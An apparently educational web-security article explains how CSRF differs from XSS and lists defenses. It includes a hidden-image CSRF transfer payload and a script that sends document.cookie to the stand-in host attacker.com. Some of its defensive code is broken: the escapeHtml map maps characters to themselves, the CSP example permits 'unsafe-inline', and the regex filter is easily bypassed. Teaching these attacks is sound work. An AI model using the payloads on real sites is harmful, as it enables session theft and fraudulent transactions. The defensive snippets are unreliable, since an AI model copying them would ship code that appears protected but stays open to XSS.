Key Differences Between CSRF and XSS and Defense Strategies
CSRF and XSS are two of the most frequently discussed attack types in web application security. While both are serious security threats, their attack methods and defense strategies are completely different. In this article, we’ll clearly understand the key differences between these two attacks and explore practical defense techniques that can be applied immediately in real-world scenarios.
Many developers confuse CSRF and XSS or regard them as similar types of attacks. However, the two target fundamentally different vulnerabilities and require distinct defenses. Identifying this difference accurately is the first step toward an effective security strategy.
Understanding CSRF (Cross-Site Request Forgery)
sequenceDiagram
participant User as 🧑 User (Browser)
participant AttackerSite as 🕸️ Malicious Site
participant Bank as 🏦 Bank Server
Note over User,Bank: The user is logged into the bank site and has a valid session (cookie)
User->>AttackerSite: (1) Visits a malicious site (e.g., clicks a link)
AttackerSite-->>User: (2) Sends hidden request code
<img src="http://bank.com/transfer?to=attacker&amount=1000000">
Note over User: (3) Browser automatically sends request to bank.com (with cookie)
User->>Bank: (4) GET/POST /transfer?to=attacker&amount=1000000 (includes cookie/session)
alt Server does not verify request origin
Bank-->>Bank: (5) Server processes the request as if from a legitimate user
Bank-->>User: (6) Transfer completed (user is unaware)
else Server applies CSRF defense (e.g., CSRF token check)
Bank-->>User: (5) Request denied (CSRF token mismatch)
end
CSRF is an attack that abuses the user’s authority. The attacker tricks the user into sending a request to a particular website without their knowledge.
How CSRF Works
CSRF takes advantage of the fact that the server trusts the user. If a user is logged into a banking website and visits a malicious site, that site can send a transfer request to the bank server. The server treats the request as if it came from the legitimate user and processes it.
<!-- Example of a CSRF attack on a malicious site -->
<img src="http://bank.com/transfer?to=attacker&amount=1000000" style="display:none">
Even with this simple image tag, a transfer request can be executed without the user knowing. If the user’s session is valid, the server processes it as a legitimate request.
Characteristics and Impact of CSRF
-
Attack Location: Occurs on the server
-
Trust Relationship: Server trusts the user
-
Main Objective: Malicious actions via authority abuse
-
Potential Damage: Account info changes, financial transactions, important settings modification
Digging into XSS (Cross-Site Scripting)
XSS is an attack where malicious scripts are injected into a web page. The script is executed in the user’s browser to steal cookies, session info, or perform malicious actions.
Three Types of XSS Attacks
1. Stored XSS
Malicious scripts are permanently stored in a database and affect every user who visits the page.
2. Reflected XSS
Executed when a user clicks a link in an email or message; typically used for one-time attacks.
3. DOM-based XSS
Manipulates the DOM using JavaScript to execute an attack without altering the HTML itself.
XSS Attack Example
sequenceDiagram
participant User as 🧑 User (Browser)
participant VulnSite as 🌐 Vulnerable Site
participant Attacker as 🎯 Attacker Server
participant VictimService as 🏷️ Service (Session Identifier)
Note over User,VulnSite: User visits a vulnerable page (XSS exists)
User->>VulnSite: (1) Requests the page
VulnSite-->>User: (2) Responds (with malicious script)
Note over User: (3) Browser executes the script in the page
User->>Attacker: (4) Malicious script sends cookie/session info to attacker's server
e.g. document.location='https://attacker.com/?cookie='+document.cookie
Attacker-->>Attacker: (5) Attacker server collects session cookies
Attacker->>VictimService: (6) Attempts access with stolen session
alt Service trusts the session as is
VictimService-->>Attacker: (7) Access granted with valid session (account hijack/modify possible)
else Defense applied (e.g., HttpOnly, SameSite, CSP)
VictimService-->>User: (7) Request blocked or session invalidated
end
<script>
document.location='https://attacker.com/?cookie='+document.cookie
</script>
This script sends the user’s cookie to the attacker’s server, allowing them to hijack the session.
Characteristics and Impact of XSS
-
Attack Location: Occurs on the client (browser)
-
Trust Relationship: User trusts a particular site
-
Main Objective: Cookie/session theft, site tampering
-
Potential Damage: Personal info leakage, account hijack, phishing attacks
Key Differences Between CSRF and XSS
| Category | CSRF | XSS |
|---|---|---|
| Attack Method | A client with stolen authority sends a fake request to the server | Malicious scripts execute on the client |
| Trust Relationship | A site trusts the user | The user trusts a site |
| Attack Target | Server | Client |
| Main Objective | Authority abuse | Cookie/session theft, site tampering |
Understanding these differences helps craft suitable defense strategies for each attack.
CSRF Defense Strategies
1. Use CSRF Tokens
The most effective CSRF protection is using tokens.
// Generate and verify CSRF token on the server
const csrfToken = crypto.randomUUID();
// Store token in session
req.session.csrfToken = csrfToken;
// Include token in client request
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken
},
body: JSON.stringify(transferData)
});
2. Referrer Validation
Verify that the domain in the referrer header matches.
3. SameSite Cookie Attribute
// Block cross-site requests with SameSite
res.cookie('sessionId', sessionId, {
sameSite: 'strict', // or 'lax'
httpOnly: true,
secure: true
});
4. Use CAPTCHA
Require CAPTCHA for sensitive operations.
XSS Defense Strategies
1. Input Validation and Filtering
// Filter dangerous strings
function sanitizeInput(input) {
return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}
// Use only allowed tags
const allowedTags = ['p', 'br', 'strong', 'em'];
2. Output Encoding
// Encode to HTML entities
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
3. Implement Content Security Policy (CSP)
<!-- Limit script execution with CSP header -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline';">
4. Set HttpOnly Cookies
// Prevent cookie access via document.cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true
});
Real Attack Examples and Lessons
CSRF Case
In 2008, a CSRF attack on Netflix was used to manipulate movie ratings and change personal info without users’ knowledge. This highlighted the importance of CSRF tokens.
XSS Case
In 2005, the “Samy Worm” incident on MySpace infected over 1 million users in a single day using an XSS vulnerability—one of the most infamous examples showing the importance of input validation.
Dangers When CSRF and XSS Combine
When CSRF and XSS are combined, the attack impact increases significantly. XSS can be used to steal or bypass CSRF tokens.
// Example: stealing CSRF token via XSS
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// Use the stolen token to send malicious request
To defend against these compound attacks, a comprehensive strategy covering both CSRF and XSS is required.
Security Principles Every Developer Should Know
Security is not just about applying specific techniques—it requires a holistic approach. CSRF and XSS abuse different trust relationships, so tailored strategies are needed for each.
When developing web applications, apply the principles: “assume all user input is malicious” and “the server should distrust all requests.” These principles are key to CSRF and XSS defense.
Keeping these two attack types in mind during security code reviews helps build safer applications—especially for areas handling user input and requiring authentication.
CSRF and XSS are both fundamental and critical to web security. By understanding their differences and implementing proper defense strategies, you can build robust web applications that protect both your users and services.